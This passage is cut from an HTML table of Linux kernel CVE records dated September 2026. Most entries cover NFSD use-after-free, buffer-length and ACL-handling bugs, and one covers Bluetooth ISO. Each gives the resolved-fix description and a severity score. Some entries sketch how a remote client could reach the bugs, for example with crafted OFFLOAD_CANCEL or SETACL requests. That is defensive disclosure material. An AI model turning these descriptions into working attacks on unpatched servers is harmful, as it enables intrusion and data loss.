&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during admin state revocation A stateid holds only a bare pointer to its nfs4_client; a stateid reference does not pin it. The client survives only because __destroy_client() drains its stateids before free_client() runs. nfsd4_revoke_states() drops nn-&amp;gt;client_lock across revoke_one_stid(), which dereferences the client to revoke a stateid and read clp-&amp;gt;cl_minorversion. A teardown racing the dropped lock can free the client first. Pinning cl_rpc_users under client_lock blocks the DESTROY_CLIENTID and EXCHANGE_ID teardown, which refuses while cl_rpc_users is non-zero. force_expire_client() ignores it: once its wait for cl_rpc_users to reach zero has passed, a later pin goes unnoticed. Under client_lock, skip a client whose cl_time is already zero -- force_expire_client() clears it there before waiting -- otherwise pin cl_rpc_users before dropping the lock. The walk then either sees the expiry and skips, or pins in time for that wait to cover the revoke.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89660&quot; target=&quot;_blank&quot;&gt;CVE-2026-89660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent lock owner use-after-free during client teardown __destroy_client() releases a client&#039;s open owners, but a lock owner whose only reference is a blocked lock (nbl) stays on cl_ownerstr_hashtbl. client_has_state() does not count a bare owner, so DESTROY_CLIENTID can reach __destroy_client() with such owners present. __destroy_client() then walks the table, calling remove_blocked_locks() on each owner without a reference. Freeing a blocked lock drops the owner reference held via flc_owner. The per-net laundromat reaps blocked locks from nn-&amp;gt;blocked_locks_lru independently of client state. The two paths share blocked_locks_lock only for the list splice, not the owner&#039;s lifetime. The laundromat therefore frees the owner as __destroy_client() dereferences it, a NULL dereference in remove_blocked_locks(). nfsd4_release_lockowner() holds a reference across the same call; __destroy_client() does not. Hold cl_lock across the walk, taking a reference and unhashing each owner, then drop it before remove_blocked_locks() and nfs4_put_stateowner(), which take blocked_locks_lock and cl_lock.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89662&quot; target=&quot;_blank&quot;&gt;CVE-2026-89662&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: initialize copy-notify stateid before publishing it nfsd4_copy_notify() finished initializing the cpntf state after nfs4_alloc_init_cpntf_state() had already linked it into the s2s_cp_stateids IDR and the parent&#039;s sc_cp_list, with cs_count == 1 (the membership reference) and none held for the caller. A racing OFFLOAD_CANCEL (crafted cl_id == nn-&amp;gt;s2s_cp_cl_id plus the guessable so_id) could reach manage_cpntf_state() and free the entry, turning the caller&#039;s subsequent cpn_cnr_stateid read and cp_p_stateid/cp_p_clid writes into use-after-free. The owning clientid was also only recorded after publication, so it could not gate an ownership check in that window. Record cp_p_stateid and cp_p_clid inside nfs4_alloc_init_cpntf_state() before nfs4_init_cp_state() publishes the entry, and return it with an extra reference. The caller reads the stateid under that reference and drops it with nfs4_put_cpntf_state(); on a late error the laundromat reaps the entry.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89669&quot; target=&quot;_blank&quot;&gt;CVE-2026-89669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: gate nfs3 setacl by argp-&amp;gt;mask nfsd3_proc_setacl() calls set_posix_acl() unconditionally for both ACL_TYPE_ACCESS and ACL_TYPE_DEFAULT, passing argp-&amp;gt;acl_access and argp-&amp;gt;acl_default verbatim. The NFSv3 ACL decoder only populates those pointers when the corresponding mask bit is set: nfs3svc_decode_setaclargs() if (args-&amp;gt;mask &amp;amp; NFS_ACL) decode into acl_access if (args-&amp;gt;mask &amp;amp; NFS_DFACL) decode into acl_default /* otherwise the pointer stays NULL (pc_argzero) */ nfsd3_proc_setacl() set_posix_acl(.., ACL_TYPE_ACCESS, argp-&amp;gt;acl_access) set_posix_acl(.., ACL_TYPE_DEFAULT, argp-&amp;gt;acl_default) set_posix_acl(idmap, dentry, type, NULL) is the VFS &quot;remove this ACL type&quot; operation. A NULL pointer that means &quot;the client did not send this arm&quot; is therefore indistinguishable from &quot;the client asked to remove this ACL&quot;. A SETACL with mask=NFS_ACL silently drops the directory&#039;s default ACL; mask=0 drops both. The sibling nfsd3_proc_getacl() already consults argp-&amp;gt;mask before touching each arm; mirror that in setacl. Fix by wrapping each set_posix_acl() call in the matching mask bit check and initializing error to 0 before inode_lock so that a request with neither bit set leaves the on-disk ACLs untouched and returns nfs_ok. The out_drop_lock path and the unconditional posix_acl_release() at out: are preserved; both NULL-tolerate the skipped arms.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89671&quot; target=&quot;_blank&quot;&gt;CVE-2026-89671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: gate nfs2 setacl by argp-&amp;gt;mask The NFSACL v2 SETACL path shares the decoder convention used by its v3 sibling: nfsaclsvc_decode_setaclargs() fills in argp-&amp;gt;acl_access only when NFS_ACL is set in the request mask and argp-&amp;gt;acl_default only when NFS_DFACL is set, leaving the other pointer NULL because the argument buffer is zeroed up to pc_argzero before decode. nfsacld_proc_setacl() then hands both pointers to set_posix_acl() unconditionally. set_posix_acl(idmap, dentry, type, NULL) is the VFS &quot;remove this ACL type&quot; operation, so an omitted arm is indistinguishable from an explicit request to delete that ACL. A SETACL carrying only NFS_ACL silently strips the directory&#039;s default ACL; mask=0 strips both. This is the same defect just fixed in nfsd3_proc_setacl(); apply the same remedy. Gate each set_posix_acl() call on its mask bit and initialize error to 0 so that a request with neither bit set leaves the on-disk ACLs untouched and returns success. The out_drop_lock path and the unconditional posix_acl_release() in nfsaclsvc_release_setacl() already tolerate the skipped arms.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89672&quot; target=&quot;_blank&quot;&gt;CVE-2026-89672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix XDR length calculation in nfsd4_ff_encode_layoutget The XDR buffer size calculation in nfsd4_ff_encode_layoutget() has multiple errors that can result in either an out-of-bounds write or leaking uninitialized kernel memory to the client: - fh_len doesn&#039;t account for XDR padding on the file handle data - uid and gid lengths use &quot;8 + len&quot; but xdr_encode_opaque() actually writes &quot;4 + xdr_align_size(len)&quot; bytes - ds_len omits the flags and stats_collect_hint fields (8 bytes), while len&#039;s header constant overestimates by 8 bytes -- these partially cancel but leave a net mismatch The worst case occurs with short strings (e.g. uid=0, gid=0 with an odd-sized file handle), where the function writes up to 5 bytes past the reserved XDR buffer. Conversely, when string lengths happen to be 4-byte aligned, the reservation is too large and stale buffer content is sent to the client. Fix this by breaking out every encoded field explicitly in the ds_len calculation, using xdr_align_size() for all variable-length opaque fields, and correcting the header constants.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89674&quot; target=&quot;_blank&quot;&gt;CVE-2026-89674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix UAF in async copy cancel and shutdown An async copy could be freed or used after free while a teardown caller (OFFLOAD_CANCEL, nfsd4_shutdown_copy, nfsd4_cancel_copy_by_sb) raced the copy kthread: - find_async_copy() bumped copy-&amp;gt;refcount but left the copy on clp-&amp;gt;async_copies, so the reaper&#039;s cleanup_async_copy() could run release_copy_files() concurrently with a cancel/shutdown caller. Both put and NULL nf_src/nf_dst without a common lock, double-putting the nfsd_file and freeing it early. - nfsd4_do_async_copy() set NFSD4_COPY_F_STOPPED before its final uses of the copy (nfsd_update_cmtime_attr() on copy-&amp;gt;nf_dst, nfsd4_send_cb_offload()). nfsd4_stop_copy() treats a set STOPPED bit as &quot;kthread done, skip kthread_stop()&quot;, so a teardown caller ran release_copy_files() -- which puts and NULLs nf_dst -- while the kthread still dereferenced it (NULL/UAF). - copy-&amp;gt;copy_task was never pinned. The one-shot kthread self-reaps on return, so kthread_stop()&#039;s get_task_struct() could touch a freed task_struct. - co_cb is embedded in the copy, but nfsd4_send_cb_offload() held a reference only on the client, so a concurrent teardown could free the copy while the CB_OFFLOAD callback was in flight. Fix the teardown lifetime as a whole: - find_async_copy() unlinks the copy (clear cp_clp, list_del_init) under async_lock; the cancel, shutdown, and sb-cancel paths drop the list-membership reference via nfs4_put_copy() after nfsd4_stop_copy(). Drop the now-redundant list_del fixup from cleanup_async_copy(). - Because unlinking hides the copy from the reaper, its cleanup_async_copy() can no longer remove the copy&#039;s s2s_cp_stateids entry; the cancel/shutdown/sb-cancel paths now call nfs4_free_copy_state() themselves (while cp_clp is still valid) so the entry does not dangle at freed memory for the laundromat and manage_cpntf_state() to dereference. - Give the kthread its own reference, taken in nfsd4_copy() before wake_up_process() and dropped at the end of nfsd4_do_async_copy(); call wake_up_process() before list_add(). - Pin the task_struct with get_task_struct() in nfsd4_copy(), released in nfs4_put_copy(), so kthread_stop() is safe whenever the kthread exits. Set NFSD4_COPY_F_STOPPED only in nfsd4_stop_copy(), which now always kthread_stop()s before release_copy_files(); completion is still reported via NFSD4_COPY_F_COMPLETED, so nfsd4_has_active_async_copies() is unaffected. Each teardown caller removes the copy from clp-&amp;gt;async_copies first, so kthread_stop() runs exactly once. - Take a copy reference in nfsd4_send_cb_offload(), dropped in nfsd4_cb_offload_release(). The kthread still holds its own reference there, so the refcount_inc() cannot race the final free. - Read cp_clp with smp_load_acquire() to pair with the unordered set_bit()/clear_bit() writers (Documentation/atomic_bitops.rst).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89675&quot; target=&quot;_blank&quot;&gt;CVE-2026-89675&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix stale s2s_cp_stateids IDR entry for async COPY For an async COPY, nfsd4_copy() called nfs4_init_copy_state() before dup_copy_fields(), so the s2s_cp_stateids IDR was pointed at &amp;amp;u-&amp;gt;copy-&amp;gt;cp_stateid -- memory in the per-rqstp COMPOUND buffer that is reused by the next request. dup_copy_fields() copies only the value into async_copy, so the IDR slot dangled at the transient buffer for the whole background copy. Any IDR walker then dereferences reused request memory: the laundromat reads cs_type from it and, if the bytes look like an expired NFS4_COPYNOTIFY_STID, follows into refcount_dec()/idr_remove()/kfree() on garbage; manage_cpntf_state() has the same exposure via idr_find(). Duplicate the fields first, then register the stateid on the stable async_copy. result-&amp;gt;cb_stateid is unchanged.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89676&quot; target=&quot;_blank&quot;&gt;CVE-2026-89676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix possible fh_compose of wrong dentry in nfsd4_create_file() dentry_create() can hypothetically provide a different dentry than the one passed in. This could happen, for example, if the exported filesystem is NFS, and the server returned to OPEN a filehandle which matched a directory that was already in the dcache. Clearly this would not be expected! If this were to happen the dentry (child) that was already stored in resfhp could be freed and later dereferenced. We shouldn&#039;t call fh_compose() until we are certain that we have the final dentry, so this patch moved the fh_compose() call to two places: one for the case where the target already exists, and one after dentry_create() where it was created.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89677&quot; target=&quot;_blank&quot;&gt;CVE-2026-89677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix layout fence worker double-reference race The workqueue core clears WORK_STRUCT_PENDING before the callback is invoked, so delayed_work_pending() in lm_breaker_timedout() can return false while the fence worker is already running. This lets the breaker take a duplicate sc_count reference and schedule a new worker that coalesces with the in-progress one. The extra reference is never put, leaking the layout stateid. Replace the racy delayed_work_pending() check with an ls_fence_inflight boolean set atomically with refcount_inc_not_zero() under ls_lock, and cleared under ls_lock before the final nfs4_put_stid() on the dispose path; the retry path intentionally retains it. Remove the self-rearm mod_delayed_work() at the top of the worker.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89681&quot; target=&quot;_blank&quot;&gt;CVE-2026-89681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix BUG_ON in nfsd4_alloc_layout_stateid on racing delegation revoke nfsd4_alloc_layout_stateid reads fp-&amp;gt;fi_deleg_file without holding fi_lock when the parent stateid is a delegation. A concurrent delegation revoke via the laundromat can clear fi_deleg_file under fi_lock, causing nfsd_file_get() to return NULL and triggering the BUG_ON. This race is client-reachable: two NFS clients can trigger it by having one hold a delegation while another opens the same file to force a recall. When the first client doesn&#039;t respond to the recall, the laundromat revokes it. A concurrent LAYOUTGET from any client using the delegation stateid hits the race window. Fix this by taking fi_lock around the fi_deleg_file read in the SC_TYPE_DELEG path, matching the locking discipline of the find_any_file() arm, and replacing the BUG_ON with a graceful error return that cleans up the partially-initialized layout stateid.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89686&quot; target=&quot;_blank&quot;&gt;CVE-2026-89686&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: drop the stateid, not the stateowner, on seqid_op replay retry In nfs4_preprocess_seqid_op() the stateid is obtained from nfsd4_lookup_stateid(), which holds a reference on the nfs4_stid (sc_count) but takes no reference on the stateowner. openlockstateid() merely casts that stid and likewise takes no reference. When nfsd4_cstate_assign_replay() returns -EAGAIN (the replay owner is being torn down, RP_UNHASHED) it has not taken a stateowner reference on that path. The error handling nevertheless called nfs4_put_stateowner(stp-&amp;gt;st_stateowner), dropping an so_count reference the function never acquired -- risking a stateowner refcount underflow and use-after-free -- while leaking the sc_count reference held on the stid. The leaked stid reference can also stall a concurrent nfsd4_close_open_stateid() waiting for sc_count to drop. Drop the reference actually held -- the stid -- before retrying. The stateowner stays alive through the reference held by the stid. This mirrors the open path in nfsd4_process_open1(), where the put balances a reference that path explicitly holds on the stateowner.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89688&quot; target=&quot;_blank&quot;&gt;CVE-2026-89688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: don&#039;t free session slots that are still in use nfsd4_sequence() can free the very slot it is currently processing. When the session shrinker has reduced se_target_maxslots below se_fchannel.maxreqs, the shrink path checks three conditions before calling free_session_slots(): 1. se_target_maxslots &amp;lt; maxreqs (shrink was advertised) 2. slot-&amp;gt;sl_generation == se_slot_gen (slot is up-to-date) 3. seq-&amp;gt;maxslots &amp;lt;= se_target_maxslots (client acknowledges) However, seq-&amp;gt;slotid is never checked against se_target_maxslots. A client using a slot in the range [se_target_maxslots, maxreqs) can satisfy all three conditions: its slot has the current generation (set by a prior SEQUENCE), and it sends sa_highest_slotid &amp;lt;= se_target_maxslots to acknowledge the reduction. free_session_slots() then kfrees every slot at index &amp;gt;= se_target_maxslots, including the caller&#039;s own slot. The function continues to write sl_seqid, sl_flags, sl_generation, and stores the dangling pointer in cstate-&amp;gt;slot. Later, nfsd4_store_cache_entry() copies up to maxresp_cached bytes of the compound reply into the freed sl_data[] array, corrupting whatever slab object now occupies that address. Additionally, a concurrent thread processing SEQUENCE on a different high-numbered slot can have its slot freed out from under it. NFSD4_SLOT_INUSE is set under nn-&amp;gt;client_lock before the lock is released, so any concurrent thread past SEQUENCE will have its slot marked. However, free_session_slots() does not check NFSD4_SLOT_INUSE before freeing. Fix both problems by: 1. Checking that the current request&#039;s slotid is below the shrink boundary. 2. Scanning slots in the to-be-freed range for NFSD4_SLOT_INUSE and deferring the shrink if any are active.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89689&quot; target=&quot;_blank&quot;&gt;CVE-2026-89689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: add fh_want_write() for early-verified SETATTR in nfsd_proc_setattr() The BOTH_TIME_SET branch calls fh_verify() early so setattr_prepare() can inspect the dentry. This causes nfsd_setattr() to skip fh_want_write(), so notify_change() runs without a mount write reference. Add the missing fh_want_write() call after the early fh_verify().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89697&quot; target=&quot;_blank&quot;&gt;CVE-2026-89697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: size fh_verify server sockaddr slot by xpt_locallen The nfsd_fh_verify and nfsd_fh_verify_err tracepoints declare the server sockaddr slot sized by xpt_remotelen but fill it from xpt_local using xpt_locallen: TP_STRUCT__entry( ... __sockaddr(server, rqstp-&amp;gt;rq_xprt-&amp;gt;xpt_remotelen) ... ) TP_fast_assign( ... __assign_sockaddr(server, &amp;amp;rqstp-&amp;gt;rq_xprt-&amp;gt;xpt_local, rqstp-&amp;gt;rq_xprt-&amp;gt;xpt_locallen); ... ) When xpt_locallen exceeds xpt_remotelen, __assign_sockaddr&#039;s memcpy writes past the reserved ring-buffer slot. In the reverse direction (xpt_locallen &amp;lt; xpt_remotelen) the slot is oversized and the unwritten tail leaks prior ring-buffer contents to trace consumers. The write-past-end case is reachable on NFS/UDP. svc_xprt_set_remote() is only called from svc_tcp_accept() (net/sunrpc/svcsock.c) and from the RDMA connect path; svc_create_socket() for UDP calls only svc_xprt_set_local(), so xpt_remotelen stays 0 for the xprt&#039;s lifetime. Every fh_verify trace for an NFSv2/v3-over-UDP request then copies 16 or 28 bytes from xpt_local into a zero-byte slot. The other NFSD tracepoints that record the server address (NFSD_TRACE_PROC_CALL_FIELDS, NFSD_TRACE_PROC_RES_FIELDS, SVC_RQST_ENDPOINT_FIELDS) already size the server slot by xpt_locallen; nfsd_fh_verify and nfsd_fh_verify_err were the only exceptions. Fix by sizing the server slot with xpt_locallen so the declared slot matches the copy length. The client slot and its assignment already agree on xpt_remotelen and are left untouched.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89702&quot; target=&quot;_blank&quot;&gt;CVE-2026-89702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: set SC_STATUS_FREED in nfsd4_drop_revoked_stid for delegations nfsd4_drop_revoked_stid() handles FREE_STATEID for admin-revoked delegations but does not set SC_STATUS_FREED before releasing cl_lock. revoke_delegation() uses this flag to detect whether FREE_STATEID has already processed the delegation -- without it, the freed delegation is added to cl_revoked via list_add(), producing a use-after-free when cl_revoked is later traversed in __destroy_client(). The SC_STATUS_REVOKED path in nfsd4_free_stateid() (line 7983) already sets SC_STATUS_FREED correctly. Apply the same pattern to the SC_STATUS_ADMIN_REVOKED path in nfsd4_drop_revoked_stid().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89703&quot; target=&quot;_blank&quot;&gt;CVE-2026-89703&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: RCU-protect cl_cb_session to fix use-after-free on session teardown After a DESTROY_SESSION the per-session teardown path can free a session while rpciod still holds an inflight callback rpc_task that dereferences clp-&amp;gt;cl_cb_session. nfsd4_probe_callback_sync() flushes cl_callback_wq, but once nfsd4_run_cb_work() has called rpc_call_async() the rpc_task lives on rpciod; flushing the workqueue does not wait for it. rpc_shutdown_client() does drain rpciod tasks, but uses a 1-second wait_event_timeout - tasks stuck in rpc_delay() (e.g. 2-second NFS4ERR_DELAY retries) can outlive the drain. destroy path rpciod ------------ ------ unhash_session(ses) nfsd4_probe_callback_sync(clp) flush_workqueue(cl_callback_wq) /* returns; rpc_task still live */ nfsd4_put_session_locked(ses) free_session(ses) -&amp;gt; kfree(ses) nfsd4_cb_sequence_done() reads cb_clp-&amp;gt;cl_cb_session /* freed slab */ A second window exists in nfsd4_process_cb_update(). When __nfsd4_find_backchannel() returns NULL because unhash_session() has already removed the destroyed session from cl_sessions, setup_callback_client() takes the v4.1 early return so clp-&amp;gt;cl_cb_session = ses never fires and the field retains a pointer to the about-to-be-freed session. Fix both by converting cl_cb_session to an RCU-protected pointer: - Move the cl_cb_session = ses assignment in setup_callback_client() to after rpc_create() succeeds, so it is only published when a working backchannel exists. Clear cl_cb_session on the error return in nfsd4_process_cb_update(). Both stores use rcu_assign_pointer(). - Annotate cl_cb_session with __rcu. All rpciod-side readers use rcu_read_lock()/rcu_dereference() and check for NULL, bailing to the appropriate error or requeue path: encode_cb_sequence4args(), decode_cb_sequence4resok(), nfsd41_cb_get_slot(), nfsd41_cb_release_slot(), nfsd4_cb_prepare(), and nfsd4_cb_sequence_done(). - Switch __free_session() from kfree() to kfree_rcu() so the session slab is not reclaimed until after an RCU grace period, guaranteeing that rpciod readers inside rcu_read_lock() never dereference freed memory. - Pass the session pointer to the nfsd_cb_seq_status and nfsd_cb_free_slot tracepoints instead of having them re-read cl_cb_session. - nfsd4_cb_prepare() calls rpc_exit() when the session is NULL, routing through the done/release path to requeue the callback.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89708&quot; target=&quot;_blank&quot;&gt;CVE-2026-89708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: restart ssc_expire_umount walk after dropping nfsd_ssc_lock nfsd4_ssc_expire_umount() walks nn-&amp;gt;nfsd_ssc_mount_list with list_for_each_entry_safe(ni, tmp, ...). For each expired entry it sets nsui_busy = true, drops nfsd_ssc_lock to run mntput() on the source vfsmount, then reacquires the lock to list_del + kfree the entry and continue iterating via the macro&#039;s saved tmp pointer. The nsui_busy flag protects the current ni from concurrent nfsd4_ssc_setup_dul() finders during the lock-drop window, but it does not pin tmp. Another nfsd RPC thread that fails its source- server mount and reaches nfsd4_ssc_cancel_dul() will, during that same window, take nfsd_ssc_lock, list_del + kfree its own ssc_umount item, and release the lock. If that item is the saved tmp of the expire walk, the next iteration dereferences a freed nfsd4_ssc_umount_item. Restart the walk from the head after the mntput() unlock window so no saved next pointer survives the lock-drop. The list is bounded by the number of active inter-server source mounts (typically small) and the expire delayed-work runs periodically rather than per-IO, so the restart is cheap.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89712&quot; target=&quot;_blank&quot;&gt;CVE-2026-89712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: check truncate permission under inode lock nfsd_setattr() checks whether a size update needs NFSD_MAY_TRUNC before it takes inode_lock(). The comparison uses the file size sampled by that unlocked read, but the actual ATTR_SIZE update is applied later under inode_lock() by notify_change(). This leaves a TOCTOU window for append-only files. If a client sends a SETATTR that does not shrink the file at the time of the unlocked sample, a concurrent append can extend the file before nfsd_setattr() takes inode_lock(). notify_change() then applies a real truncation without the NFSD_MAY_TRUNC check that rejects IS_APPEND(inode). The VFS truncate syscall paths perform their own append-only checks before calling notify_change(), so NFSD must make this decision against the locked size it is about to change. Split the write-count acquisition from the truncation permission check. Keep get_write_access() before the locked setattr work, then recheck whether the requested size is below i_size_read(inode) after inode_lock() has been acquired and before notify_change(ATTR_SIZE). This also avoids the plain unlocked inode-&amp;gt;i_size load.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89713&quot; target=&quot;_blank&quot;&gt;CVE-2026-89713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: ISO: fix use-after-free of listener socket in iso_conn_ready iso_conn_ready() looks up the BIS listener socket with iso_get_sock(), which takes a reference, and then, without re-checking its state, creates a child socket from it: parent = iso_get_sock(hdev, ...); if (!parent) return; lock_sock(parent); sk = iso_sock_alloc(sock_net(parent), NULL, BTPROTO_ISO, ...); ... iso_chan_add(conn, sk, parent); ... release_sock(parent); sock_put(parent); If the listener socket is closed concurrently, between iso_get_sock() and lock_sock(), the reference taken by iso_get_sock() may be the last one: the close path drops the link-list reference, and once iso_conn_ready() drops its own reference at the end of the function the socket is freed. The child socket, however, is already linked to the freed parent, and a later disconnect of the child runs iso_chan_del() -&amp;gt; bt_accept_unlink(), which dereferences the dangling parent pointer into the freed accept queue (a use-after-free). The same dangling pointer is also dereferenced through parent-&amp;gt;***() in iso_chan_del(). Fix it the same way the connected (non-BIS) path was fixed in commit 0d255e63fcf3 (&quot;Bluetooth: ISO: hold sk properly in iso_conn_ready&quot;): after taking the socket lock, re-check that the parent is still a listening, alive socket, and bail out otherwise.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80914&quot; target=&quot;_blank&quot;&gt;CVE-2026-80914&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
